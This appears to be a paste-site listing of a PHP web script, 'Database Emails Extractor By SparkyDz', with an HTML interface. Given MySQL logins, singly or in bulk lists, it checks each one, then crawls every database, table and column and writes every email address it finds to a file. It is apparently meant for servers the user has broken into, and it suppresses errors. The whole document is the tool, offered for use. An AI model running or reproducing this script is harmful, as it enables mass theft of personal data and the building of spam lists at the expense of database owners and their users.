PalmaSolutions icon

mail.php

PalmaSolutions | PRO | 08/12/19 09:11:22 AM UTC | 0 ⭐ | 465 👁️ | Never ⏰ | []
PHP |

7.78 KB

|

None

|

0 👍

/

0 👎

<?php
error_reporting(0);
set_time_limit(0);
if($_GET['action'] == 'login'){
    $con = mysql_connect('localhost',$_GET['u'],$_GET['p']);
    if($con){
        echo 'yes';
        mysql_close($con);
    }else{
        echo 'no';
    }
    exit();
}elseif($_GET['action'] == 'go'){
    $f = go('localhost',$_GET['u'],$_GET['p'],$_GET['name']);
    if(isset($_GET['b'])){
        echo $f;
    }else{
        echo "<span class='red'>$f</span> Emails Founded. Check <span class='red'>".htmlspecialchars($_GET['name'])."</span> For Results.";
    }
    exit();
}
 
echo '<!DOCTYPE html>
<html>
<head>
    <title>Database Emails Extractor By SparkyDz</title>
    <link href="http://fonts.googleapis.com/css?family=Racing+Sans+One" rel="stylesheet" type="text/css">
    <script src="http://code.jquery.com/jquery-2.0.2.min.js"></script>
    <script>
    $(document).ready(function(){
        $("#gogo").on("click",function(){
            user = $("#username").val();
            pass = $("#password").val();
            name = $("#name").val();
            if(user==""||pass==""||name==""){
              window.alert("You must fill all fields");
            }else{
                $.get("?action=login&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass),function(data){
                    if(data=="no"){
                        window.alert("Incorrect username Or password. Try Again.");
                    }else{
                        $("#forms").fadeOut(300,function(){
                           $("#wait").fadeIn(300); 
                        });
                        $.get("?action=go&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass)+"&name="+encodeURIComponent(name),function(data){
                            $("#wait").html(data);
                        });
                    }
                });
            }
        });
        $("#gog").on("click",function(){
            accounts = $("#accounts").val();
            name = $("#namee").val();
            if(accounts==""||name==""){
              window.alert("You must fill all fields");
            }else{
                $("#formmu").fadeOut(300,function(){
                    $("#wait").fadeIn(300); 
                });
                accounts = accounts.split("\n");
                totalb = 0;
                fail = 0;
                done = 0;
                for(i=0;i<accounts.length;i++){
                    login = accounts[i].split(" ");
                    $.get("?action=login&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1]),function(data){
                        if(data=="yes"){
                            $.get("?action=go&b=t&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1])+"&name="+encodeURIComponent(name),function(data){
                                totalb += parseInt(data);
                                done++;
                                tt = done+fail;
                                if(tt==accounts.length) donet(totalb,name);
                            });
                        }else{
                            fail++;
                        }
                    });
                }
                
            }
        });
        function donet(t,b){
            $("#wait").html("<span class=\"red\">"+t+"</span> Emails Founded. Check <span class=\"red\">"+b+"</span> For Results.");
        }
        $("#si").on("click",function(){
            $("#first").fadeOut(500,function(){
                $("#forms").fadeIn(500); 
            });
        });
        $("#mu").on("click",function(){
            $("#first").fadeOut(500,function(){
                $("#formmu").fadeIn(500); 
            });
        });
    });
    </script>
    <style>
    body{
        margin: 0;
        padding: 0;
        font-family: "Racing Sans One", cursive;
        background: #F3F3F3;
        font-size: 16px;
    }
    #page{
        margin: auto 25%;
        margin-top: 10px;
        background: #E6E6E8;
        border: #BABABE solid 1px;
        padding: 0;
    }
    #title{
        margin: 0;
        padding: 0;
        text-align: center;
        font-size: 30px;
        border-bottom: #BABABE solid 1px;
    }
    #footer{
        text-align: center;
        border-top: #BABABE solid 1px;
    }
    #forms,#wait,#first,#formmu{
        margin: 0;
        padding: 10px 0;
        background: #fff;
    }
    #wait,#forms,#formmu{
        display: none;
    }
    #wait,#first{
        text-align: center;
    }
    input,button,textarea{
        background: #F3F3F3;
        border: #BABABE solid 1px;
    }
    textarea:focus,textarea:hover,input:focus,input:hover,button:focus,button:hover{
        background: #fff;
    }
    button{
        padding: 10px;
    }
    .red{
        color: red;
    }
    </style>
</head>
<body>
    <div id="page">
        <div id="title">Database Emails Extractor</div>
        <div id="first">
            <button id="si">Single</button><button id="mu">Multiple</button>
        </div>
        <div id="forms">
        <table>
            <tr><td>Username</td><td> : </td><td><input type="text" id="username" /></td></tr>
            <tr><td>Password</td><td> : </td><td><input type="text" id="password" /></td></tr>
            <tr><td>Save As</td><td> : </td><td><input type="text" value="list.txt" id="name" /></td></tr>
            <tr><td></td><td></td><td><input id="gogo" type="submit" value="Extract!" /></td></tr>
        </table>
        </div>
        <div id="formmu">
        <table>
            <tr><td>Accounts</td><td> : </td><td><textarea id="accounts" rows="10" cols="30">username password</textarea></td></tr>
            <tr><td>Save As</td><td> : </td><td><input type="text" value="list.txt" id="namee" /></td></tr>
            <tr><td></td><td></td><td><input id="gog" type="submit" value="Extract!" /></td></tr>
        </table>
        </div>
        <div id="wait">
            <img src="http://www.gibs.co.za/SiteResources/Images/Loading.gif" />
        </div>
        <div id="footer">SparkyDz <span class="red"></span>, FB: <span class="red">fb.com/SparkyDzx</span></div>
    </div>
</body>
</html>';
function go($host,$user,$pass,$file){
    /*
    author : G-B
    email : fb/psycomiste.93
    */
    $con = mysql_connect($host,$user,$pass);
    $fp = fopen($file,'a');
    $count = 0;
    $databases = getdata("SHOW DATABASES");
    foreach($databases as $database){
        $tables = getdata("SHOW TABLES FROM $database");
        foreach($tables as $table){
            $columns = getdata("SHOW COLUMNS FROM $database.$table");
            foreach($columns as $column){
                $emails = getdata("SELECT $column FROM  $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'");
                foreach($emails as $email){
                    if(filter_var($email, FILTER_VALIDATE_EMAIL)){
                        if(eregi($email,file_get_contents($file))) continue;
                        $count++;
                        fwrite($fp,"$email\n");
                    }else{
                        foreach(preg_split("/\s/",$text) as $string){
                            if(filter_var($string,FILTER_VALIDATE_EMAIL)){
                                if(eregi($string,file_get_contents($file))) continue;
                                $count++;
                                fwrite($fp,"$string\n");
                            }
                        }
                    }
                }
            }
        }
    }
    fclose($fp);
    mysql_close($con);
    return $count;
}
function getdata($sql){
    $q = mysql_query($sql);
    $result = array();
    while($d = mysql_fetch_array($q)){
        $result[] = $d[0];
    }
    return $result;
}
?>

Comments